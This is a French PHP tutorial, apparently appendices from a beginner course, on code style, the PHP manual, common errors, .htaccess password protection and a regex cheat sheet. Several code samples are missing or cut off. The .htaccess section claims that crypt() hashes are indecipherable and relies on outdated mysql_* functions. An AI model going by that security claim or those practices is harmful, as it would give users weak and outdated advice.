Par exemple, voici des mauvais noms de variables :
$temp
$skrkds
$x
$data
$info
$pass
Mais à quoi ça peut servir de chercher un nom de variable clair ? Après tout, c'est mon code, c'est pour moi, je
comprends très bien ce que je fais !
Faux.
Bien sûr que vous savez ce que vous faites (personne n'est dans votre esprit après tout :p). Et pourtant le problème
peut apparaître dans 2 cas :
Si vous donnez votre code PHP à un ami pour qu'il vous aide à un endroit où vous bloquez, ou pour qu'il continue
votre code. Essayez par exemple de montrer votre code PHP sur les forums du site, vous verrez que si vous avez
des noms pas clairs, vous aurez beaucoup moins de réponses parce qu'il aura été bien plus difficile de
comprendre le fonctionnement de votre code !
Un autre cas (sous-estimé), c'est celui où vous retouchez votre code plus tard. Je ne dis pas le lendemain (les
idées sont encore fraîches), mais dans 3 mois, ou même dans 3 semaines. Croyez-en mon expérience : il m'est
arrivé de devoir relire mon code source en me demandant "Mais qu'est-ce que j'ai bien pu vouloir faire là ?"
Passez ne serait-ce qu'une seconde de plus à réfléchir à des noms clairs. N'ayez pas peur de mettre des noms un peu
longs, ce n'est pas une perte de temps, bien au contraire.
Vous pouvez utiliser le symbole underscore "_" pour remplacer les espaces, qui sont je vous le rappelle,
interdits dans les noms de variables et de fonctions.
$ip_visiteur
$pseudo_membre
$date_news
$mot_de_passe
$forum_selectionne
Pour finir, et en espérant vous convaincre parce que croyez-moi c'est très important, voici le même code source en
deux exemplaires :
Le premier contient des noms courts et pas clairs, il est difficile de comprendre rapidement ce qu'il fait.
Le deuxième contient des noms un peu plus longs, mais au moins on arrive de suite à savoir à quoi sert telle
variable et telle fonction.
Ces 2 codes produisent exactement le même résultat, simplement l'un d'entre eux est beaucoup plus compréhensible
que l'autre.
Je vous laisse deviner lequel
Code : PHP
<?php
$mess_page = 20;
?>
Code : PHP
<?php
$nombreDeMessagesParPage = 20;
C'est fou comment des noms écrits correctement en français permettent d'y voir plus clair
Les plus perspicaces d'entre vous auront d'ailleurs reconnu un bout du TP "Livre d'or"
L'idée, c'est d'utiliser intelligemment les tabulations pour "décaler" certaines parties de votre code, afin de montrer
plus clairement la structure.
La quasi-totalité des éditeurs de texte ont l'habitude que vous utilisiez du code indenté, et vous aident donc pas mal à
clarifier votre code.
Quand je dis "la plupart", je ne parle pas de Bloc-notes. Si vous tapez votre code PHP sous bloc-notes, vous
feriez bien d'essayer un vrai logiciel fait pour ça, comme Notepad++ dont je vous ai parlé dans le premier chapitre.
Non seulement avec un vrai éditeur vous avez une indentation du code semi-automatique, mais en plus votre code est
coloré tout seul, ce qui aide énormément croyez-moi !
A chaque fois que vous ouvrez des accolades "{", par exemple pour "if", un "while", un "for", une fonction etc...
Vous décalez tout le code qui suit d'une tabulation vers la droite.
A chaque fois que vous fermez une accolade "}", vous décalez tout le code qui suit d'une tabulation vers la
gauche.
C'est plus clair avec un exemple, alors voyez-vous même. Voici ce que ça donne avec un code pas indenté :
Code : PHP
<?php
for ($ligne = 1 ; $ligne <= 100 ; $ligne++)
{
if ($ligne % 2 == 0)
{
echo $ligne . ' : <strong>ligne paire</strong>';
}
else
{
echo $ligne . ' : <em>ligne impaire</em>';
}
echo '<br />';
}
?>
Et voici maintenant le même code correctement indenté si on respecte la règle des tabulations :
Code : PHP
<?php
for ($ligne = 1 ; $ligne <= 100 ; $ligne++)
{
if ($ligne % 2 == 0)
{
echo $ligne . ' : <strong>ligne paire</strong>';
}
else
{
echo $ligne . ' : <em>ligne impaire</em>';
}
L'avantage avec un code indenté, c'est qu'on voit bien les "niveaux" des instructions. On sépare bien les blocs, et on
arrive à se repérer bien plus facilement
Avoir un code correctement indenté, c'est quasiment indispensable lorsque vous commencez à faire des scripts de
plusieurs dizaines de lignes (ce qui arrive assez vite quand on fait du PHP !).
En effet, là encore les commentaires sont pour vous, et éventuellement pour la personne qui lira votre code. Il faut
commenter votre code, mais il ne faut surtout pas tomber dans l'excès !
Je m'explique. Si après une ligne comme celle-ci :
... vous rajoutez le commentaire "Affiche le pseudo du visiteur", là je dis Non non et non !
Il est strictement inutile de commenter chaque ligne de votre code une à une ! Si j'ai insisté tout à l'heure pour que
vous mettiez des noms de variables et de fonctions clairs, c'est justement pour vous éviter à avoir besoin de trop
commenter.
Le plus judicieux et le plus intelligent, c'est de commenter un "groupe de lignes", pour expliquer brièvement à quoi
elles servent.
C'est le sens général de votre code que vous devez expliquer dans les commentaires, et non pas la fonction de chaque
ligne !
Ceux qui commencent par "//" : ils permettent de commenter sur une seule ligne à la fois.
Ceux qui commencent par "/*" et qui se terminent par "*/" : ils sont utilisés pour des longs commentaires
s'étalant sur plusieurs lignes.
Code : PHP
<?php
/*
Script "Questionnaire de satisfaction"
Par M@teo21
if (!(isset($probleme)))
{
echo 'Merci ! Les informations ont été correctement enregistrées
!';
}
}
?>
Comme vous le voyez, je n'ai pas commenté toutes les lignes. J'ai juste commenté des groupes de lignes pour
expliquer leur fonction globale, ce qui me permettra à moi (ou à un autre) de se repérer beaucoup plus facilement
Ces petits conseils n'ont l'air de rien comme ça, mais ils valent de l'or
Alors certes, je ne vous cache pas que chaque programmeur a ses petites habitudes et la façon de faire n'est pas
partout la même. Pourtant, ces conseils constitueront pour vous un bon point de départ pour que vous preniez les
bonnes habitudes.
En faisant l'effort de les respecter, vous gagnerez beaucoup plus que ce que vous ne le pensez. Et vous verrez que, le
jour où vous devrez débugger un gros code qui a décidé de ne plus marcher, vous serez vraiment heureux d'avoir
indenté, commenté et utilisé des noms clairs dans votre code
Plus d'informations
Un des gros avantages en PHP, c'est qu'on dispose d'une documentation très complète, gratuite, disponible sur
Internet, et traduite dans de très nombreuses langues (dont le français )
Pourtant, quand quelqu'un nous dit "La solution à ton problème se trouve dans la doc", on a tendance à tremblotter
un peu. On pense que la doc est une sorte de pavé mal construit, illisible, dans lequel on a toutes les chances de se
perdre.
C'est un tort. Comme je vous l'ai dit, la documentation PHP est particulièrement complète et bien organisée, qui plus
est traduite en français. Tout y est.
Certes, je ne vous cacherai pas que pour apprendre à programmer en PHP, la doc est pas ce qui se fait de plus
accueillant. Mais lorsque vous commencerez à être un peu "à l'aise" en PHP (lorsque vous aurez lu jusqu'à la partie III
du cours), vous allez vite avoir besoin d'un support plus complet que le Site du Zér0 (eh oui, la doc restera toujours
plus complète que ce tutoriel ).
C'est là que la documentation entre en jeu. Le but de cette annexe est de vous montrer comment la doc fonctionne,
pour que vous soyiez ensuite capables de trouver l'information que vous cherchez tous seuls, sans mon aide
Sommaire du chapitre :
Accéder à la doc
Présentation d'une fonction
Accéder à la doc
La documentation, c'est bien beau, mais c'est où ? Comment y accéder ?
Pour cela, on a 2 possibilités, tout dépend de ce que vous voulez faire :
Voir la liste des fonctions classées par thème : si vous ne savez pas exactement quelle fonction vous cherchez,
si vous voulez flâner un peu et que vous voulez avoir la liste des fonctions classées par catégories... C'est la
première méthode que vous utiliserez.
Accéder à la présentation d'une fonction dont on connaît le nom : si vous connaissez le nom d'une fonction, mais
que vous ne savez pas vous en servir, c'est cette seconde méthode que l'on utilisera. C'est la méthode la plus
simple, la plus rapide, et la plus fréquemment utilisée.
Je vais vous détailler maintenant chacune de ces méthodes pour accéder à la doc. Vous utiliserez l'une ou l'autre en
fonction de vos besoins.
Vous devriez mettre cette adresse dans les favoris pour ne jamais l'oublier :
http://www.php.net/manual/fr/funcref.php
Ce que vous voyez là, c'est la liste des "thèmes" de fonctions. Comme vous pouvez le voir, y'en a un sacré paquet
Ne prenez pas peur si vous ne comprenez même pas 1 thème sur 10 (parce que c'est pareil pour moi ). Mais faites
l'effort de lire un peu tout ce qu'il y a, et repérez s'il y a un thème qui vous intéresse plus particulièrement qu'un autre.
Par exemple, sur le screenshot que j'ai pris ci-dessus, on peut voir les thèmes "Mail" et "Mathématiques" (c'est à peu
près les deux seuls que je comprends ;))
Supposons que je sois intéressé par les fonctions mathématiques de PHP. Je clique sur "Mathématiques".
Là, une nouvelle page s'ouvre. On vous présente un peu le thème, il n'y a pas grand chose de très intéressant pour le
moment.
Certains thèmes de fonctions ne sont pas activés avec PHP. C'est le cas par exemple de la librairie GD pour
créer des images.
Si c'est le cas, on vous indique qu'il faut "activer" la librairie, comme je vous ai appris à le faire dans le chapitre sur la
librairie GD.
Bon, les fonctions mathématiques sont toujours activées par défaut, donc pas de problème de ce côté-là.
Descendez plus bas dans la page (parfois vous devez descendre très très bas), jusqu'à l'endroit marqué "Table des
matières". C'est là que ça nous intéresse : il y a la liste des fonctions du thème "mathématiques" :
A gauche, vous avez le nom de la fonction, et à droite un très bref descriptif de ce qu'elle fait.
Si vous cliquez sur un nom de fonction, vous accédez à la présentation de la fonction. Nous verrons comment
fonctionne cette page dans la seconde partie de cette annexe.
Ici par exemple, je peux être intéressé par le calcul d'un logarithme népérien (fonction "log"). Et si les maths et vous
ça fait deux, il y a quand même quelques fonctions qui devraient vous intéresser : max qui retourne le nombre le plus
grand, ou mt_rand qui génère un nombre aléatoire.
Il est fréquent que vous connaissiez le nom d'une fonction, mais que vous ne sachiez pas vous en servir.
Là, il n'est plus question de "flâner" parmi les thèmes de fonctions pour en repérer une intéressante : on veut aller
directement aux explications sur cette fonction.
Par exemple, supposons que vous souhaitiez générer un nombre aléatoire entre 0 et 100. Vous avez beau être très fort
en PHP, vous ne pouvez pas forcément savoir quelle est la fonction qui permet de le faire.
Ni une ni deux, vous vous rendez sur les forums du Site du Zér0 (:P) et vous posez la question.
Peu de temps après, quelqu'un vous répond juste "mt_rand".
Cette information est normalement suffisante, vous avez le nom de la fonction, vous allez vous documenter dessus.
Pour accéder directement à la présentation d'une fonction, tapez l'adresse suivante dans votre navigateur :
Ne mettez pas le "http://www." devant, il sera rajouté tout seul. C'est plus rapide de s'en passer.
Si la fonction existe, vous tombez directement sur la présentation de la fonction (sinon, on vous dit que la fonction
n'existe pas et on vous propose d'autres fonctions qui ont à peu près le même nom).
Si je veux tout savoir sur mt_rand donc, je tape ceci dans la barre d'adresse de mon navigateur :
Tapez ensuite "Entrée", et ni une ni deux, vous voici sur la page qui présente la fonction mt_rand !
Plutôt rapide et pratique non ?
J'ai rajouté quelques commentaires pour que vous compreniez bien à quoi sert chaque ligne.
Ce qui nous intéresse le plus là-dedans, c'est le "Mode d'emploi de la fonction". Je vais vous apprendre à le déchiffrer,
car lorsque vous saurez le lire, vous saurez utiliser n'importe quelle fonction PHP à l'aide de la doc !
int : la fonction commence par le mot-clé "int". Ce premier mot-clé indique ce que renvoie la fonction. On
peut avoir entre autres les mots-clé suivants :
int : cela signifie que la fonction renvoie un nombre entier. mt_rand renvoie donc un nombre entier (-8,
0, 3, 12 etc...)
float : la fonction renvoie un nombre décimal (comme 15.2457).
number : la fonction renvoie un nombre, qui peut être soit un entier (int) soit un décimal (float).
string : la fonction renvoie une chaîne de caractères, c'est-à-dire du texte. Par exemple "Bonjour".
bool : la fonction renvoie un booléen, c'est-à-dire "VRAI" ou "FAUX" (true ou false).
array : la fonction renvoie un array (tableau de variables). Le plus simple en général, c'est de faire un
print_r comme je vous l'ai appris dans le chapitre "Les Array II : le Retour", pour voir tout ce que
contient cet array.
resource : la fonction renvoie une "ressource". Une ressource est un type de données particulier, une sorte
de super-variable. Il peut s'agir d'une image, d'un fichier etc... Dans le chapitre sur la librairie GD par
exemple, on manipule une variable $image.
void : la fonction ne renvoie rien du tout. C'est le cas des fonctions qui ne servent qu'à faire une action et
qui n'ont pas besoin de renvoyer d'information.
mixed : la fonction peut renvoyer n'importe quel type de données (un int, un string, ça dépend...)
mt_rand : là c'est tout simple, c'est le nom de la fonction.
([ int min, int max]) : entre parenthèses, il y a la liste des paramètres que l'on peut donner à la fonction. Ici, on
peut donner deux entiers (int) : min et max. Ils servent à indiquer que vous voulez un nombre aléatoire entre 5
et 15 par exemple.
Cependant, il faut savoir que certains paramètres ne sont pas toujours obligatoires. Ces paramètres "facultatifs" sont
mis entre crochets.
Mais alors... Puisque "int min, int max" sont entre crochets, ça veut dire qu'on peut ne donner aucun paramètre
à la fonction ?
Citation
Appelée sans les arguments optionnels min et max, mt_rand() retourne un nombre pseudo-aléatoire, entre 0 et
RAND_MAX (un nombre maximum fixé par PHP). Pour obtenir un nombre entre 5 et 15 inclus, il faut utiliser
mt_rand(5,15).
Si la fonction ne prend pas du tout de paramètre, le mot-clé "void" est indiqué entre parenthèses. C'est le cas
de la fonction .
Allez sur php.net/time pour voir !
Bon time est un cas simple. Je vais maintenant vous montrer une fonction un peu plus compliquée que vous connaissez
sûrement si vous avez lu le chapitre sur les Dates en PHP : date
Comme vous devez savoir le faire maintenant, rendez-vous sur php.net/date pour avoir la description de la fonction.
Si votre mémoire est encore fraîche, vous vous souvenez que date("Y"); renvoie l'année actuelle. Mais si vous rajoutez
un timestamp (ce qui n'est pas obligatoire), alors c'est l'année correspondant au timestamp qui sera renvoyée.
Faites donc toujours bien attention : certains paramètres sont obligatoires, d'autres pas (ils sont entre crochets) et la
fonction réagit différemment selon les cas. En général, le texte descriptif de la fonction vous explique ce qu'il se passe
si vous ne mettez pas les paramètres facultatifs.
Il y a toujours des exemples pour illustrer l'utilisation de la fonction. C'est très pratique car on vous montre de quelle
manière utiliser la fonction, et on n'hésite pas à vous montrer les cas particuliers (où la fonction réagit un peu
différemment)
Dans la mesure du possible, essayez de tester les exemples proposés. Il arrive souvent qu'on comprenne mieux avec
des exemples que l'on essaie soi-même
La documentation PHP est vraiment un outil précieux, bien foutu (il faut dire ce qui est), mais pas forcément très
"parlant".
Si, pour apprendre à se servir d'une fonction rien ne vaut un bon tuto, vous en arriverez forcément un jour à un stade
où personne ne pourra vraiment vous aider, personne sauf la doc.
Apprenez dès aujourd'hui à vous en servir, car c'est grâce à elle que vous apprendrez le plus de choses une fois que
vous aurez fini de lire les tutoriels du Site du Zér0
Plus d'informations
Alors comme ça votre script ne marche pas, et PHP vous affiche des erreurs incompréhensibles ?
Aucun souci à vous faire : c'est tout à fait normal, on ne réussit jamais un script du premier coup (en tout cas, pas moi
:p)
Il existe des milliers de messages d'erreurs qui peuvent survenir (ok, jusque-là rien de très rassurant), et je n'ai pas
vraiment le temps de vous faire la liste complète... mais j'en connais déjà un bon paquet.
Dans cette annexe, nous passerons en revue les erreurs les plus courantes, nous verrons pourquoi ça plante et, bien
entendu, comment régler le problème
Sommaire du chapitre :
Nous allons voir les erreurs suivantes, qui sont assez courantes :
Parse error
Undefined function
Wrong parameter count
Parse error
Si on devait dire qu'il existe UNE erreur de base, ça serait très certainement celle-là. Impossible de programmer en
PHP sans y avoir droit un jour.
Le message d'erreur que vous obtenez ressemble à celui-ci :
Ce message vous indique une erreur dans fichier.php à la ligne 15. Généralement, cela veut dire que votre problème se
situe à la ligne 15, mais ce n'est pas toujours le cas (trop facile sinon )
Si vous écrivez votre code PHP sous bloc-notes, faites "Affichage / Barre d'état". Une barre d'état apparaîtra en
bas de la fenêtre, en vous indiquant à quelle ligne se trouve votre curseur.
Le mieux reste quand même d'utiliser un éditeur spécialisé, comme Notepad++ ou Dreamweaver, qui affiche les
numéros des lignes comme ceci :
Vous avez oublié le point-virgule à la fin de l'instruction. Comme toutes les instructions doivent se terminer par
un point-virgule, si vous oubliez d'en mettre un ça provoquera un "parse error". Par exemple :
$id_news = 5
... génèrera un parse error. Si vous mettez le point-virgule à la fin, tout rentrera dans l'ordre !
$id_news = 5;
Vous avez oublié de fermer un guillemet (ou une apostrophe, ou une parenthèse). Par exemple :
echo "Bonjour !;
... il suffit de fermer correctement les guillemets et vous n'aurez plus de problème
echo "Bonjour !";
Vous vous êtes trompé dans la concaténation, vous avez peut-être oublié un point :
echo "J'ai " . $age " ans";
En corrigé ça donne :
echo "J'ai " . $age . " ans";
Il peut aussi s'agir d'une accolade mal fermée (pour un if par exemple). Vérifiez si vous fermez correctement
toutes vos accolades. Si vous oubliez d'en fermer une, il est probable que le parse error vous indique que
l'erreur se trouve à la dernière ligne du fichier (c'est-à-dire à la ligne 115 si votre fichier comporte 115 lignes).
Donc, si on vous indique une erreur à la dernière ligne, il va probablement falloir relire tout le fichier PHP à la
recherche d'une accolade mal fermée !
Si on vous dit que l'erreur est à la ligne 15 et que vous ne voyez vraiment pas d'erreur à cette ligne, n'hésitez pas à
chercher l'erreur à la ligne juste au-dessus, elle s'y trouve peut-être !
Undefined function
Une autre erreur assez classique : la fonction inconnue. Vous obtenez ce message d'erreur :
Là, il faut comprendre que vous avez utilisé une fonction qui n'existe pas.
2 possibilités :
Soit la fonction n'existe vraiment pas. Vous avez probablement fait une faute de frappe, vérifiez si une
fonction à l'orthographe similaire existe.
Une erreur qui m'est arrivée souvent, c'est de taper html_entities au lieu de htmlentities (le vrai nom de la
fonction).
Autre cas possible : la fonction existe vraiment, mais PHP ne la reconnaît pas. C'est parce que cette fonction se
trouve dans une extension de PHP que vous n'avez pas activée. Par exemple, si vous essayez d'utiliser la
fonction imagepng() alors que vous n'avez pas activé la librairie GD pour les images en PHP, on vous dira que la
fonction n'existe pas.
Activez la librairie qui utilise la fonction et tout sera réglé
Une dernière chose : il se peut aussi que vous essayiez d'utiliser une fonction qui n'est pas disponible dans la version de
PHP que vous avez.
Vérifiez dans le manuel (comme je vous l'ai appris dans l'annexe sur la documentation) dans quelles versions de PHP
cette fonction est disponible.
Cela signifie que vous avez oublié des paramètres pour la fonction, ou même que vous en avez mis trop.
Comme je vous l'ai appris dans le chapitre sur la doc PHP, consultez le mode d'emploi de la fonction pour savoir
combien de paramètres elle prend, et lesquels sont facultatifs.
Par exemple, la fonction fopen() requiert au minimum 2 paramètres : le premier pour le nom du fichier à ouvrir et le
second pour le mode d'ouverture (en lecture seule, écriture etc...). Si vous ne mettez que le nom du fichier à ouvrir
comme ceci :
$fichier = fopen("fichier.txt");
... vous aurez l'erreur "Wrong parameter count". Pensez donc à rajouter le paramètre qui manque, par exemple comme
ceci :
Dans les versions les plus récentes de PHP, on vous dit même le nombre de paramètres que vous avez oublié
dans le message d'erreur !
Toutefois, ce n'est pas MySQL qui vous dira qu'il y a une erreur, mais PHP. Et PHP n'est pas très bavard en ce qui
concerne les erreurs SQL. Nous allons donc voir :
mysql_connect(): Access denied for user: 'sdz@localhost' (Using password: YES) in fichier.php on line 196
Là, vous vous êtes trompé de mot de passe ou de nom d'utilisateur en utilisant la fonction mysql_connect.
Vérifiez auprès de votre hébergeur si le mot de passe est le bon. Si vous utilisez WAMP, je vous rappelle que le
nom d'utilisateur est "root", et qu'il n'y a pas de mot de passe.
mysql_fetch_array(): supplied argument is not a valid MySQL result resource
Cette erreur survient lorsque vous voulez afficher les résultats de votre requête, généralement dans la boucle
"while ($donnees = mysql_fetch_array($retour))"
Alors là, y'a pas 36 explications possibles : c'est tout simplement que votre requête SQL a foiré
Si vous avez donc l'erreur sur mysql_fetch_array(), vous savez que la requête n'a pas marché, mais vous n'avez pas
l'erreur qui vous dit ce qu'il s'est passé.
Comme visiblement PHP n'a pas envie de nous donner l'erreur renvoyée par MySQL, on va le lui demander d'une autre
manière.
C'est très facile à faire, mais vous ne pouviez pas deviner tous seuls
Repérez la requête qui foire selon vous (certainement celle juste avant le mysql_fetch_array), et demandez d'afficher
l'erreur s'il y en a une, comme ceci :
A partir de là, il va falloir vous débrouiller tous seuls, car les erreurs SQL sont assez nombreuses et je ne peux pas
toutes les lister
En général, MySQL vous dit "You have an error in your SQL syntax near 'truc'". A vous de bien relire votre requête SQL,
l'erreur se trouve généralement près de l'endroit où on vous l'indique.
Voilà une erreur classique quand on travaille avec les sessions ou avec les cookies :
Il y a d'autres fonctions qui envoient toutes seules des headers. C'est le cas de session_start() et de
setcookie().
Ce que vous devez retenir, c'est que chacune des ces fonctions doit être utilisée au tout début de votre code PHP. Il
ne faut RIEN mettre avant, sinon ça provoquera l'erreur "Headers already sent by...".
Ici, j'ai eu le malheur de mettre un peu de code HTML avant le session_start(), et c'est ce qui a provoqué l'erreur.
Mettez le session_start() en tout premier, et vous n'aurez plus de problème
C'est le navigateur qui vous donne ce message d'erreur et non pas PHP.
Ce message survient lorsque vous travaillez avec la librairie GD. Si vous avez fait une erreur dans votre code (par
exemple un banal "parse error"), cette erreur sera inscrite dans l'image. Du coup, l'image ne sera pas valide et le
navigateur ne pourra pas l'afficher.
Bon d'accord, l'erreur est dans l'image. Mais comment faire pour faire "apparaître" l'erreur ?
2 possibilités :
Dans les deux cas, vous verrez le message d'erreur apparaître. A partir de là, il ne vous restera plus qu'à corriger le bug
!
Ca c'est le genre d'erreur qui arrive le plus souvent à cause d'une boucle interminable :
Imaginez que vous fassiez une boucle while, mais que celle-ci ne s'arrête jamais : votre script PHP va tourner en boucle
tout le temps sans jamais s'arrêter.
Heureusement, PHP limite le temps d'exécution d'une page PHP à 30 secondes par défaut. Si une page met plus de 30s
à se générer, PHP arrête tout en disant que c'est trop long. Et il fait bien, parce que sinon cela pourrait ralentir tout le
serveur et rendre votre site inacessible !
$nombre = 5;
while ($nombre == 5)
{
echo 'Zér0 ';
}
Comme vous pouvez le voir, un tel code PHP ne s'arrêtera jamais parce que $nombre vaut TOUJOURS 5...
Si vous avez donc l'erreur "Maximum execution time exceeded", il va falloir repérer une boucle qui ne s'arrête jamais,
c'est elle qui provoque ce problème.
Rassurez-vous : la limite est fixée à 30s, mais vous n'y serez jamais confronté. En général, une bonne page PHP met
environ 50 millisecondes à se charger (on est très loin des 30 secondes !).
Cette annexe touche à sa fin, j'espère que les informations que vous y aurez déniché vous auront aidé à résoudre vos
problèmes.
Quoiqu'il en soit, n'oubliez pas que chaque problème est particulier. Un peu de persévérance et on finit toujours par
trouver le bug.
Enfin, si vous n'y arrivez vraiment pas, ne baissez pas les bras pour autant et allez poser votre question sur les forums
du site. Un Zér0 un peu plus expérimenté verra probablement votre erreur au premier coup d'oeil
Plus d'informations
Lorsque vous réalisez votre site en PHP, vous êtes souvent amenés à créer une zone "Admin" où l'accès est limité... Et il
vaut mieux, vu que les personnes qui ont accès à la zone Admin peuvent en général tout supprimer si elles le désirent
Supposons que vous avez créé un dossier "Admin" dans lequel il y a tous les fichiers d'administration de votre site.
Comment empêcher que n'importe qui accède à ces pages ?
C'est là que les fichiers .htaccess vont bien nous aider : on peut très facilement créer une protection par Login / Mot
de passe qui empêche l'accès à tous les fichiers du dossier.
.htaccess : ce fichier contiendra l'adresse du .htpasswd et quelques autres options que vous pourrez définir.
.htpasswd : ce fichier contiendra une liste de logins / mots de passe, pour chaque personne autorisée à accéder
aux pages !
Sommaire du chapitre :
Créer le .htaccess
Créer le .htpasswd
Envoyer les fichiers sur le serveur
Créer le .htaccess
La première étape est de créer sur votre disque dur un fichier appelé ".htaccess". Mais là, vous allez certainement
avoir un problème (ça commence fort )
En effet, Windows n'aime pas les fichiers qui commencent par un point. Pour tous les autres systèmes d'exploitation
(Mac OS, Linux) vous n'aurez aucun problème. Mais Windows lui il veut pas... sauf si on utilise une petite astuce que je
vous montrerai plus loin.
Là dedans, on va rentrer des informations qui n'ont rien à voir avec du HTML ou du PHP : ce sont des instructions pour
le serveur. Elles vont expliquer au serveur que seules certaines personnes sont autorisées à accéder au dossier.
Copiez-y ce code :
Code : Apache
AuthName : c'est le texte qui invitera l'utilisateur à inscrire son login / mot de passe. Vous pouvez personnaliser
ce texte comme bon vous semble.
AuthUserFile : là c'est plus délicat, c'est le chemin absolu vers le fichier .htpasswd (que vous mettrez dans le
même répertoire que le .htaccess).
En effet, c'est la plupart du temps délicat à trouver. Heureusement, il existe une fonction PHP qui va beaucoup nous
aider : realpath.
Cette fonction donne le chemin absolu vers le fichier que vous indiquez. Vous allez donc faire comme ceci pour trouver
le chemin absolu :
3. Envoyez ce fichier sur votre serveur avec votre logiciel FTP. Placez-le dans le dossier que vous voulez protéger.
4. Ouvrez votre navigateur et allez voir ce fichier PHP. Il vous donne le chemin absolu, par exemple dans mon cas :
5. Copiez ce chemin dans votre .htaccess, et remplacez le "chemin.php" par ".htpasswd", ce qui nous donne au
final par exemple :
6. Supprimez le fichier "chemin.php" de votre serveur, il ne nous sert plus à rien maintenant qu'il nous a donné le
chemin absolu
La ligne AuthUserFile indique donc où se trouve le fichier .htpasswd qui contient les mots de passe.
Si vous êtes hébergés chez Free, il y a une petite subtilité dans la gestion de la localisation du .htpasswd :
vous ne devez pas renseigner la ligne AuthUserFile par le chemin absolu du fichier, mais par son chemin relatif à partir
de la racine de votre espace perso. Exemple : si vous utilisez un espace Free nommé monftpfree, et que vous placez
votre fichier .htpasswd dans un répertoire admin, le fichier "chemin.php" vous renverra un chemin sous la forme
. Vous devez alors simplement utiliser
.
Enregistrez le fichier en mettant le nom entre guillemets, comme ceci : . Cela permet de forcer
Windows à enregistrer le fichier, parce qu'avec le point au début en temps normal il ne veut pas ou il fait n'importe
quoi
Créer le .htpasswd
Créez maintenant un nouveau fichier avec Bloc-Notes.
Le .htpasswd contient la liste des personnes autorisées à accéder aux pages du dossier.
On met une personne par ligne, sous cette forme :
Code : Autre
mateo21:$1$MEqT//cb$hAVid.qmmSGFW/wDlIfQ81
darkeden:$1$/lgP8dYa$sQNXcCP47KhP1sneRIZoO0
IAN:$1$lT7nqnsg$cVtoPfe0IgrjES7Ushmoy.
Leon:$1$h4oVHp3O$X7Ejpn.uuOhJRkT3qnw3i0
Dans cet exemple, il y a 4 personnes autorisées à accéder au dossier : ce sont mateo21, darkeden, IAN, et Leon.
S'il n'y a qu'une personne autorisée à accéder au dossier, vous n'avez qu'à mettre qu'une ligne. Mais si vous êtes
plusieurs admins, il est très pratique de pouvoir créer plusieurs "comptes" avec login / mot de passe
Par exemple, si mon mot de passe est "kangourou", voici le code PHP que je devrai écrire pour l'obtenir en version
cryptée :
Crypter ses mots de passe est très utile : en effet, si quelqu'un vient un jour à lire votre fichier .htpasswd (quelqu'un
qui utilise le même PC que vous par exemple), il ne verra que le mot de passe crypté.
Et là, aucun risque qu'il ne retrouve votre mot de passe : ce cryptage est indéchiffrable. C'est donc très pratique
Bon, on pourrait en théorie s'arrêter là pour le .htpasswd, mais mon âme de codeur PHP me commande de créer un
petit script qui va bien vous être utile. Si vous avez lu le cours PHP jusqu'à la fin de la partie I, vous devriez être
capables de comprendre ce script :
Code : PHP
<p>
<?php
if (isset($_POST['login']) AND isset($_POST['pass']))
{
$login = $_POST['login'];
$pass_crypte = crypt($_POST['pass']); // On crypte le mot de passe
<form method="post">
<p>
Login : <input type="text" name="login"><br />
Mot de passe : <input type="text" name="pass"><br /><br />
<?php
}
?>
Essayer !
Il y a 2 parties dans ce code, dont la forme est similaire aux TP "Page protégée par mot de passe", "Mini-Chat", etc...
1. SI les variables $_POST['login'] et $_POST['pass'] existent, alors c'est qu'on vient de valider le formulaire.
On crypte le mot de passe qu'on a rentré, et on affiche $login:$pass_crypte pour que vous n'ayez plus qu'à
copier la ligne dans le .htpasswd
2. SINON, si les variables $_POST['login'] et $_POST['pass'] n'existent pas, donc on affiche le formulaire pour
demander d'entrer un login et un mot de passe.
Le formulaire recharge la même page, car il n'y a pas d'attribut action dans la balise <form> comme on l'a vu
dans le chapitre sur les formulaires. Lors du rechargement de la page, les variables $_POST['login'] et
$_POST['pass'] existeront puisque vous venez d'entrer le login et le mot de passe. Le mot de passe sera alors
crypté !
Je vous conseille de créer cette page quelque part sur votre disque dur (ou sur votre serveur peu importe), pour que
vous puissiez crypter rapidement vos mots de passe pour le .htpasswd.
Si vous avez la flême de le créer, pas de souci, vous n'avez qu'à venir sur cette page et cliquer sur le bouton "Essayer !"
Si vous êtes hébergés chez Free, vous ne DEVEZ PAS crypter vos mots de passe. En effet, Free demande à ce
que les mots de passe ne soient pas cryptés (ce qui est complètement nul pour la sécurité, mais bon...). Vous devrez
donc taper le mot de passe directement. Par exemple :
Vous avez maintenant 2 fichiers sur votre disque dur : .htaccess et .htpasswd.
Si vous rentrez le bon login avec le bon mot de passe, vous serez alors autorisé à accéder aux pages !
Plus d'informations
Cette annexe va être utile à ceux qui ont lu les 2 chapitres sur les Regex
Il s'agit d'une sorte de fiche-mémo, un résumé qui vous sera utile lorsque vous serez en train de créer vos propres
Regex.
Gardez cette page dans un coin, ou, mieux, imprimez-la. Elle vous servira de support pour vous rappeler toutes les
possibilités des Regex.
Cette annexe n'est PAS faite pour apprendre à se servir des Regex. Si vous voulez apprendre, allez voir les
chapitres correspondants dans le cours.
Ici, les explications sont succintes car le but est de synthétiser au maximum tout ce qu'il y a à savoir sur les Regex.
Sommaire du chapitre :
Regex Explication
#guitare# Cherche le mot "guitare" dans la chaîne
#guitare|piano# Cherche le mot "guitare" OU "piano"
#^guitare# La chaîne doit commencer par "guitare"
Classes de caractères
Regex Explication
#gr[ioa]s# Chaîne qui contient "gris", ou "gros", ou "gras"
[a-z] Caractère minuscule de a à z
[0-9] Chiffre de 0 à 9
[a-e0-9] Lettre de "a" à "e" ou chiffre de 0 à 9
[0-57A-Za-z.-] Chiffre de 0 à 5, ou 7, ou lettre majuscule, ou lettre minuscule, ou un point, ou un tiret
#[^0-9]# Chaîne ne contenant PAS de chiffre
#^[^0-9]# Chaîne ne commençant PAS par un chiffre
Quantificateurs
Regex Explication
#a?# "a" peut apparaître 0 ou 1 fois
#a+# "a" doit apparaître au moins 1 fois
#a*# "a" peut apparaître 0, 1 ou plusieurs fois
#bor?is# "bois" ou "boris"
#Ay(ay|oy)*# Fonctionne pour Ay, Ayay, Ayoy, Ayayayoyayayoyayoyoyoy etc...
#a{3}# "a" doit apparaître 3 fois exactement ("aaa")
#a{3,5}# "a" doit apparaître de 3 à 5 fois ("aaa", "aaaa", "aaaaa")
